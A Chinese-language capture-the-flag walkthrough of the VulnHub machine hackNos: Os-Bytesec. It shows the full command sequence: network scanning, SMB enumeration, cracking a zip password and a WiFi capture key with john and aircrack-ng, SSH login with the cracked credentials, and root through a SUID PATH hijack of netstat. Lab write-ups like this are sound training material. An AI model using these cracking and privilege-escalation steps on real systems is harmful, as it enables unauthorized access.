OS Bytesec
作者：jason huawen
靶机信息
名称：hackNos: Os-Bytesec
地址：
https://www.vulnhub.com/entry/hacknos-os-bytesec,393/识别目标主机IP地址
(kali㉿kali)-[~/Vulnhub/OS_Bytesec]└─$ sudo netdiscover -i eth1 -r 192.168.56.0/24Currently scanning: Finished! | Screen View: Unique Hosts 3 Captured ARP Req/Rep packets, from 3 hosts. Total size: 180 _____________________________________________________________________________ IP At MAC Address Count Len MAC Vendor / Hostname ----------------------------------------------------------------------------- 192.168.56.1 0a:00:27:00:00:06 1 60 Unknown vendor 192.168.56.100 08:00:27:60:36:cf 1 60 PCS Systemtechnik GmbH 192.168.56.254 08:00:27:31:66:d4 1 60 PCS Systemtechnik GmbH 利用Kali Linux的netdiscover工具识别目标主机IP地址为192.168.56.254
NMAP扫描
┌──(kali㉿kali)-[~/Vulnhub/OS_Bytesec]└─$ sudo nmap -sS -sV -sC -p- 192.168.56.254 -oN nmap_full_scanStarting Nmap 7.93 ( https://nmap.org ) at 2023-03-25 22:14 EDTNmap scan report for bogon (192.168.56.254)Host is up (0.00027s latency).Not shown: 65531 closed tcp ports (reset)PORT STATE SERVICE VERSION80/tcp open http Apache httpd 2.4.18 ((Ubuntu))|_http-server-header: Apache/2.4.18 (Ubuntu)|_http-title: Hacker_James139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)445/tcp open netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)2525/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)| ssh-hostkey: | 2048 12554f1ee97eea8769901c1fb0633ff3 (RSA)| 256 a670f10edf4e737d7142d644f12f24d2 (ECDSA)|_ 256 f0f8fd24650734c2d49a1fc0b82ed83a (ED25519)MAC Address: 08:00:27:31:66:D4 (Oracle VirtualBox virtual NIC)Service Info: Host: NITIN; OS: Linux; CPE: cpe:/o:linux:linux_kernelHost script results:|_clock-skew: mean: -1h50m00s, deviation: 3h10m31s, median: 0s| smb2-time: | date: 2023-03-26T02:14:37|_ start_date: N/A|_nbstat: NetBIOS name: NITIN, NetBIOS user: , NetBIOS MAC: 000000000000 (Xerox)| smb-security-mode: | account_used: guest| authentication_level: user| challenge_response: supported|_ message_signing: disabled (dangerous, but default)| smb2-security-mode: | 311: |_ Message signing enabled but not required| smb-os-discovery: | OS: Windows 6.1 (Samba 4.3.11-Ubuntu)| Computer name: nitin| NetBIOS computer name: NITIN\x00| Domain name: 168.1.7| FQDN: nitin.168.1.7|_ System time: 2023-03-26T07:44:37+05:30Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 13.91 seconds 获得Shell
首先从smb协议入手收集信息：
──(kali㉿kali)-[~/Vulnhub/OS_Bytesec]└─$ smbclient -L 192.168.56.254 Password for [WORKGROUP\kali]: Sharename Type Comment --------- ---- ------- print$ Disk Printer Drivers IPC$ IPC IPC Service (nitin server (Samba, Ubuntu))Reconnecting with SMB1 for workgroup listing. Server Comment --------- ------- Workgroup Master --------- ------- WORKGROUP NITIN──(kali㉿kali)-[~/Vulnhub/OS_Bytesec]└─$ enum4linux 192.168.56.254[+] Enumerating users using SID S-1-22-1 and logon username '', password '' S-1-22-1-1000 Unix User\sagar (Local User) S-1-22-1-1001 Unix User\blackjax (Local User)S-1-22-1-1002 Unix User\smb (Local User)利用enum4linux工具识别出用户名为sagar, blackjax, smb
利用Kali linux的浏览器访问80端口，从返回页面的源代码有以下注释：
Copyright ©document.write(new Date().getFullYear()); All rights reserved | This template is made with James/Hacker by James似乎没有意义。
──(kali㉿kali)-[~/Vulnhub/OS_Bytesec]└─$ nikto -h http://192.168.56.254- Nikto v2.1.6---------------------------------------------------------------------------+ Target IP: 192.168.56.254+ Target Hostname: 192.168.56.254+ Target Port: 80+ Start Time: 2023-03-25 22:20:22 (GMT-4)---------------------------------------------------------------------------+ Server: Apache/2.4.18 (Ubuntu)+ The anti-clickjacking X-Frame-Options header is not present.+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type+ No CGI Directories found (use '-C all' to force check all possible dirs)+ Server may leak inodes via ETags, header found with file /, inode: c0e, size: 59686492a99fd, mtime: gzip+ Apache/2.4.18 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS + OSVDB-3268: /css/: Directory indexing found.+ OSVDB-3092: /css/: This might be interesting...+ OSVDB-3268: /html/: Directory indexing found.+ OSVDB-3092: /html/: This might be interesting...+ OSVDB-3268: /img/: Directory indexing found.+ OSVDB-3092: /img/: This might be interesting...+ OSVDB-3233: /icons/README: Apache default file found.+ 7915 requests: 0 error(s) and 13 item(s) reported on remote host+ End Time: 2023-03-25 22:20:34 (GMT-4) (12 seconds)---------------------------------------------------------------------------+ 1 host(s) tested
──(kali㉿kali)-[~/Vulnhub/OS_Bytesec]└─$ gobuster dir -u http://192.168.56.254 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.js,.html,.txt,.sh===============================================================Gobuster v3.3by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)===============================================================[+] Url: http://192.168.56.254[+] Method: GET[+] Threads: 10[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt[+] Negative Status codes: 404[+] User Agent: gobuster/3.3[+] Extensions: sh,php,js,html,txt[+] Timeout: 10s===============================================================2023/03/25 22:21:04 Starting gobuster in directory enumeration mode===============================================================/index.html (Status: 200) [Size: 3086]/.html (Status: 403) [Size: 279]/news (Status: 301) [Size: 315] [--> http://192.168.56.254/news/]/img (Status: 301) [Size: 314] [--> http://192.168.56.254/img/]/html (Status: 301) [Size: 315] [--> http://192.168.56.254/html/]/gallery (Status: 301) [Size: 318] [--> http://192.168.56.254/gallery/]/css (Status: 301) [Size: 314] [--> http://192.168.56.254/css/]/js (Status: 301) [Size: 313] [--> http://192.168.56.254/js/]/.html (Status: 403) [Size: 279]/server-status (Status: 403) [Size: 279]Progress: 1323306 / 1323366 (100.00%)===============================================================2023/03/25 22:22:39 Finished===============================================================
目录扫描阶段一无所获，但是其实注意到网页中有句：####################GET#####smb##############free
而前面也知道有用户名smb,而且smb free,是不是意味着没有密码，注意smbclient -L并没有得到共享目录/smb，
┌──(kali㉿kali)-[~/Vulnhub/OS_Bytesec/_anatomy.png.extracted]└─$ smbclient //192.168.56.254/smb -U smb -pPassword for [WORKGROUP\smb]:Try "help" to get a list of possible commands.smb: \> ls . D 0 Mon Nov 4 06:50:37 2019 .. D 0 Mon Nov 4 06:37:28 2019 main.txt N 10 Mon Nov 4 06:45:38 2019 safe.zip N 3424907 Mon Nov 4 06:50:37 2019 9204224 blocks of size 1024. 5824788 blocks availablesmb: \> get main.txt getting file \main.txt of size 10 as main.txt (4.9 KiloBytes/sec) (average 4.9 KiloBytes/sec)smb: \> get safe.zip getting file \safe.zip of size 3424907 as safe.zip (101352.3 KiloBytes/sec) (average 95561.3 KiloBytes/sec)smb: \> pwdCurrent directory is \\192.168.56.254\smb\
┌──(kali㉿kali)-[~/Vulnhub/OS_Bytesec]└─$ unzip safe.zip Archive: safe.zip[safe.zip] secret.jpg password: ┌──(kali㉿kali)-[~/Vulnhub/OS_Bytesec]└─$ zip2john safe.zip > hashes ver 2.0 efh 5455 efh 7875 safe.zip/secret.jpg PKZIP Encr: TS_chk, cmplen=60550, decmplen=62471, crc=6D48091C ts=0BA2 cs=0ba2 type=8ver 2.0 efh 5455 efh 7875 safe.zip/user.cap PKZIP Encr: TS_chk, cmplen=3364011, decmplen=6920971, crc=717BA9D6 ts=6088 cs=6088 type=8NOTE: It is assumed that all files in each archive have the same password.If that is not the case, the hash may be uncrackable. To avoid this, useoption -o to pick a file at a time. ┌──(kali㉿kali)-[~/Vulnhub/OS_Bytesec]└─$ john --wordlist=/usr/share/wordlists/rockyou.txt hashes Using default input encoding: UTF-8Loaded 1 password hash (PKZIP [32/64])Will run 2 OpenMP threadsPress 'q' or Ctrl-C to abort, almost any other key for statushacker1 (safe.zip) 1g 0:00:00:00 DONE (2023-03-25 23:01) 14.28g/s 468114p/s 468114c/s 468114C/s softball27..eatme1Use the "--show" option to display all of the cracked passwords reliablySession completed.
解压后里面有个图片和抓包。图片检查后未发现有用信息。打开user.cap发现是一个wifi抓包，wifi名为blackjax。
─(kali㉿kali)-[~/Vulnhub/OS_Bytesec]└─$ aircrack-ng -w /usr/share/wordlists/rockyou.txt user.cap
找到Key为：snowflake
会不会用户名是blackjax, 密码为snowflake
┌──(kali㉿kali)-[~/Vulnhub/OS_Bytesec]└─$ ssh blackjax@192.168.56.254 -p 2525The authenticity of host '[192.168.56.254]:2525 ([192.168.56.254]:2525)' can't be established.ED25519 key fingerprint is SHA256:1l05HpfviqAHWEW02NNLxk4zhf2Ne1fS5QnCd7hTGQA.This key is not known by any other names.Are you sure you want to continue connecting (yes/no/[fingerprint])? yesWarning: Permanently added '[192.168.56.254]:2525' (ED25519) to the list of known hosts.blackjax@192.168.56.254's password: Permission denied, please try again.blackjax@192.168.56.254's password: Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.4.0-142-generic i686) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage151 packages can be updated.100 updates are security updates.The programs included with the Ubuntu system are free software;the exact distribution terms for each program are described in theindividual files in /usr/share/doc/*/copyright.Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted byapplicable law.The programs included with the Ubuntu system are free software;the exact distribution terms for each program are described in theindividual files in /usr/share/doc/*/copyright.Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted byapplicable law.Last login: Mon Nov 4 15:37:42 2019 from 192.168.1.50$ iduid=1001(blackjax) gid=1001(blackjax) groups=1001(blackjax)$
提权
$ cat user.txt _ _ _____ ______ _____ ______ _ _____ | | | |/ ____| ____| __ \ | ____| | /\ / ____| | | | | (___ | |__ | |__) |_____| |__ | | / \ | | __ | | | |\___ \| __| | _ /______| __| | | / /\ \| | |_ | | |__| |____) | |____| | \ \ | | | |____ / ____ \ |__| | \____/|_____/|______|_| \_\ |_| |______/_/ \_\_____| Go To Root.MD5-HASH : f589a6959f3e04037eb2b3eb0ff726ac
blackjax@nitin:/tmp$ find / -perm -4000 -type f 2>/dev/null
blackjax@nitin:/tmp$ ls -alh /usr/bin/netscan-rwsr-xr-x 1 root root 7.3K Nov 4 2019 /usr/bin/netscan
netscan命令有SUID位
blackjax@nitin:/tmp$ /usr/bin/netscanActive Internet connections (servers and established)Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program nametcp 0 0 0.0.0.0:2525 0.0.0.0:* LISTEN 1012/sshd tcp 0 0 0.0.0.0:445 0.0.0.0:* LISTEN 890/smbd tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN 1015/mysqld tcp 0 0 0.0.0.0:139 0.0.0.0:* LISTEN 890/smbd tcp 0 0 192.168.56.254:139 192.168.56.206:50834 ESTABLISHED 1876/smbd tcp 0 168 192.168.56.254:2525 192.168.56.206:57618 ESTABLISHED 5032/sshd: blackjaxtcp6 0 0 :::2525 :::* LISTEN 1012/sshd tcp6 0 0 :::445 :::* LISTEN 890/smbd tcp6 0 0 :::139 :::* LISTEN 890/smbd tcp6 0 0 :::80 :::* LISTEN 1150/apache2
netscan命令应该在执行netstat命令因此可以生成我们自己的netstat
blackjax@nitin:/tmp$ echo '/bin/sh' > netstatblackjax@nitin:/tmp$ chmod 777 netstat blackjax@nitin:/tmp$ export PATH=/tmp:$PATHblackjax@nitin:/tmp$ /usr/bin/netscan# cd /root# ls -alhtotal 36Kdrwx------ 3 root root 4.0K Nov 4 2019 .drwxr-xr-x 22 root root 4.0K Nov 4 2019 ..-rw------- 1 root root 2.5K Nov 4 2019 .bash_history-rw-r--r-- 1 root root 3.1K Oct 22 2015 .bashrcdrwxr-xr-x 2 root root 4.0K Nov 4 2019 .nano-rw-r--r-- 1 root root 148 Aug 17 2015 .profile-rw-r--r-- 1 root root 505 Nov 4 2019 root.txt-rw------- 1 root root 4.9K Nov 4 2019 .viminfo# cat root.txt ____ ____ ____ ______ ________ ___ ______ / __ \/ __ \/ __ \/_ __/ / ____/ / / | / ____/ / /_/ / / / / / / / / / / /_ / / / /| |/ / __ / _, _/ /_/ / /_/ / / / / __/ / /___/ ___ / /_/ / /_/ |_|\____/\____/ /_/____/_/ /_____/_/ |_\____/ /_____/ Conguratulation..MD5-HASH : bae11ce4f67af91fa58576c1da2aad4bAuthor : Rahul GehlautContact : https://www.linkedin.com/in/rahulgehlaut/WebSite : jameshacker.me#
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